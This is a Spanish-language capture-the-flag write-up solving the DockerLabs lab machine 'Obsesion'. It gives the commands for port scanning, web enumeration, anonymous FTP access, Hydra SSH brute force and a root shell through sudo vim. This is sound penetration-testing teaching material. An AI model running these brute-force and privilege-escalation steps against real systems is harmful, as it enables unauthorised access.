Skip to content

Obsesion

This content is not available in your language yet.

En este artículo, explicaré cómo resolví el CTF de la máquina virtual Obsesion. Describo paso a paso las técnicas y herramientas utilizadas para encontrar y explotar las vulnerabilidades presentes.

  • Nombre: Obsesion
  • Autor: Juan
  • Nivel de Dificultad: Muy Fácil
  • Descripción: Fecha de creación: 25/06/2024
  • Descargamos la máquina desde la web de DockerLabs.
  • Descomprimimos el archivo .zip con unzip Obsesion.zip.
  • Ejecutamos el script de despliegue con sudo bash auto_deplo.sh Obsesion.tar.

Al desplegar la máquina, se muestra automáticamente su IP, por lo que no es necesario hacer un escaneo ARP.

ip

Creamos una carpeta para organizar el contenido y utilizamos la función mkt que genera subdirectorios: content, exploits, nmap y scripts.

Ventana de terminal
mkdir Obsesion
cd Obsesion
mkt

Ejecutamos un escaneo completo de puertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Ports image

Ahora escaneamos servicios en los puertos identificados:

Ventana de terminal
nmap -sCV -p21,22,80 172.17.0.2 -oN targeted

Services image

Usamos Gobuster para encontrar recursos web:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,txt -t 200

Resultado:

gobuster image

Se descubren dos directorios interesantes: backup e important, que contienen archivos descargables.

  • Important Important image

  • Backup backup image

Dado que el puerto 21 (FTP) está abierto y permite acceso anónimo, intentamos conectarnos:

Ventana de terminal
ftp 172.17.0.2

Ingresamos como usuario anonymous y sin contraseña.

Ftp image

Descargamos los archivos chat-gonza y pendientes para analizarlos:

  • Pendientes Pendientes image

  • Chat-gonza Mario image

Entre los archivos se encuentran referencias a posibles usuarios, y gracias a los textos accedidos, deducimos que russoski es el usuario válido.

Realizamos un ataque de fuerza bruta con Hydra para obtener su contraseña SSH:

Ventana de terminal
hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2 -t 4

Hydra encuentra las credenciales correctas. Nos conectamos vía SSH:

Login image

Ejecutamos:

Ventana de terminal
sudo -l

Sudo image

El usuario russoski puede ejecutar vim como root. Consultamos GTFOBins con:

Ventana de terminal
searchbins -b vim -f sudo

Ejecutamos el siguiente comando para obtener una shell con privilegios de administrador:

Ventana de terminal
sudo vim -c ':! /bin/sh'

¡Acceso root obtenido!

Root image

  • La máquina tuvo el nivel de dificultad esperado: muy fácil.